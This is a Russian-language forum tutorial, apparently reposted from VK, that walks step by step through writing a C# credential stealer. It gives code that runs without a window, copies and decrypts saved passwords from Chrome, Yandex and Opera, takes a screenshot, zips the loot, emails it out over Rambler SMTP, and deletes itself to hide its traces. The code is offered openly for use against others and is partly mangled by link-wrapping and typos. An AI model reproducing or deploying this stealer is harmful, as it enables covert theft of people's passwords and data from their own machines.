Делаем стиллер на с# с отправкой на почту

AKASHI

Для этого нам понадобится Microsoft Visual Studio.
Для начала создадим проект : Файл - Создать - Проект. Выбираем консольное приложение.
https://prnt.sc/khc3gh
Чтобы нашу программу не было видно выполняем следующие действия : Проект - Свойства : SimpleStealer. В типе выходных данных ставим "Приложение Windows".
http://prntscr.com/khcfaf
Создадим папку, где будут лежать логи ( пишем это в Main'е ).
Код:

Код:
Directory.CreateDirectory(Path.GetTempPath() + "log");
Создаем класс Passwords ( Проект - Добавить класс )
https://prnt.sc/khc64k
В этот класс добавляем следующий код
Код:
Код:
static public IEnumerable<Tuple<string, string, string» ReadPass(string dbPath)
{
if (File.Exists(Path.GetTempPath() + @"log\Login Data")) // Если файл по данному пути существует, то удаляем его
{
File.Delete(Path.GetTempPath() + @"log\Login Data");
}
File.Copy(dbPath, Path.GetTempPath() + @"log\Login Data"); // копируем файл с паролями для того, чтобы не закрывать браузер
dbPath = Path.GetTempPath() + @"log\Login Data";
var connectionString = "Data Source=" + dbPath + ";pooling=false";
using (var conn = new System.Data.SQLite.SQLiteConnection(connectionString))
using (var cmd = conn.CreateCommand())
{

cmd.CommandText = "SELECT password_value,username_value,origin_url FROM logins";

[URL='https://vk.com/away.php?to=http%3A%2F%2Fconn.Open&post=-156604867_1959&cc_key=']conn.Open[/URL]();
using (var reader = cmd.ExecuteReader())
{
while ([URL='https://vk.com/away.php?to=http%3A%2F%2Freader.Read&post=-156604867_1959&cc_key=']reader.Read[/URL]())
{
var encryptedData = (byte[])reader[0];

var decodedData = System.Security.Cryptography.ProtectedData.Unprotect(encryptedData, null, System.Security.Cryptography.DataProtectionScope.CurrentUser); // расшифровка паролей
var plainText = Encoding.ASCII.GetString(decodedData);

yield return Tuple.Create(reader.GetString(2), reader.GetString(1), plainText);

}

}
conn.Close();
}
}

Далее : Проект - Добавить ссылку. Ищем System.Security
https://prnt.sc/khc7wg
Следующий шаг : Проект - Управление пакетами Nuget. ****аем в поиск "sqlite" и устанавливаем пакет
https://prnt.sc/khc8ue
Теперь переходим обратно в Program.cs и вставляем следующий код
Код:

Код:
string[] browser_paths = {
Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Google\Chrome\User Data\Default\Login Data",
Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Yandex\YandexBrowser\User Data\Default\Login Data",
Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\Opera Software\Opera Stable\Login Data"
};
string content = "";
foreach (string p in browser_paths) //идем по папкам
{
var pas = Passwords.ReadPass(p);
if (File.Exists(p)) // если файл с паролями существует, то выполняем следующие действия
{
foreach (var item in pas)
{
if ((item.Item2.Length > 0) && (item.Item2.Length > 0)) // если значения логина и пароля не пустые, то заносим их в переменную
{
content += item.Item1 + " | " + item.Item2 + " : " + item.Item3 + "\r\n";
content += "==================\r\n";
}
}
}
}
if (File.Exists(Path.GetTempPath() + @"log\Login Data"))
{
File.Delete(Path.GetTempPath() + @"log\Login Data");
}
File.WriteAllText(Path.GetTempPath() + @"log\Passwords.txt", content); // записываем пароли в файл

Я выбрал три самых популярных на мой взгляд браузера : хром, яндекс и опера.
Компилим, в проводнике ****аем %TEMP% и ищем папку "log" и наблюдаем следующий результат.
https://prnt.sc/khclx8
В качестве бонуса покажу вам как сделать скриншот экрана.
Код:
Код:
var bounds = Screen.GetBounds(new Point(0, 0));
var bmp = new Bitmap(bounds.Width, bounds.Height);
using (var g = Graphics.FromImage(bmp))
g.CopyFromScreen(0, 0, 0, 0, bmp.Size);
[URL='https://vk.com/away.php?to=http%3A%2F%2Fbmp.Save&post=-156604867_1959&cc_key=']bmp.Save[/URL](Path.GetTempPath() + @"log\screenshot.bmp");
Для того, чтобы всё это работало выполняем следующие действия : Проект - Добавить ссылку и ищем System.Drawing и System.Windows.Forms.
Для того, чтобы заархивировать папку вставляем следующий код
Код:
Код:
ipFile.CreateFromDirectory(Path.GetTempPath() + "log", Path.GetTempPath() + "log.zip");

Для того, чтобы он работал необходимо добавить ссылку на System.IO.Compression.FileSystem
Теперь пришло время сделать отправку на почту. Создаем новый класс MailSend и вставляем в него следующий код.
Код:
Код:
public static void Send()
{
MailAddress from = new MailAddress("Адрес почты, с которого мы отправим письмо", "Имя (необязательно)");
MailAddress to = new MailAddress("Куда отправить");
MailMessage m = new MailMessage(from, to);
m.Subject = "Пришли пароли";
m.Body = "<h2>Изи пароли</h2>";
m.IsBodyHtml = true;
m.Attachments.Add(new Attachment(Path.GetTempPath() + "log.zip"));
SmtpClient smtp = new SmtpClient("smtp.rambler.ru", 587);
smtp.Credentials = new NetworkCredential("Адрес почты, с которого мы отправим письмо", "Пароль от почты");
smtp.EnableSsl = true;
smtp.Send(m);
}

Я отправлял от адреса почты, который зареган в рамблере, на почту яндекса. Если вы будете отправлять, например, с яндекса, то "smtp.rambler.ru" надо поменять на "smtp.yandex.ru" ( порт тоже может измениться поэтому гуглите : "smtp yandex port").
https://prnt.sc/khctdw
Добавляем в Main этот код
Код:
Код:
MailSend.Send();

Скрываем после себя следы.
Код:
Код:
Directory.Delete(Path.GetTempPath() + "log", true);
ProcessStartInfo Info = new ProcessStartInfo();
Info.Arguments = "/C choice /C Y /N /D Y /T 3 & Del " + Application.ExecutablePath;
Info.WindowStyle = ProcessWindowStyle.Hidden;
Info.CreateNoWindow = true;
Info.FileName = "cmd.exe";
Process.Start(Info);

Для того, чтобы всё это работало, нужно добавить в начало Program.cs
Код:
Код:
using System;
using [URL='https://vk.com/away.php?to=http%3A%2F%2FSystem.IO&post=-156604867_1959&cc_key=']System.IO[/URL];
using System.Windows.Forms;
using System.Drawing;
using System.IO.Compression;
using System.Diagnostics;
using System.Threading;
Вот это добавить в начало Passwords.cs
Код:
using System;
using System.Collections.Generic;
using System.Text;
using [URL='https://vk.com/away.php?to=http%3A%2F%2FSystem.IO&post=-156604867_1959&cc_key=']System.IO[/URL];

А вот это добавить в MailSend.cs
Код:
Код:
using [URL='https://vk.com/away.php?to=http%3A%2F%2FSystem.Net&post=-156604867_1959&cc_key=']System.Net[/URL];
using System.Net.Mail;
using [URL='https://vk.com/away.php?to=http%3A%2F%2FSystem.IO&post=-156604867_1959&cc_key=']System.IO[/URL];

Все готово, запускаем программу и ждем, когда к нам на почту придет письмо.
https://prnt.sc/khd17b
Видим, что у нас письмо появилось в спаме. Чтобы этого избежать, можно просто добавить в контакты почту, с которой мы отправляем логи.
https://prnt.sc/khd1wg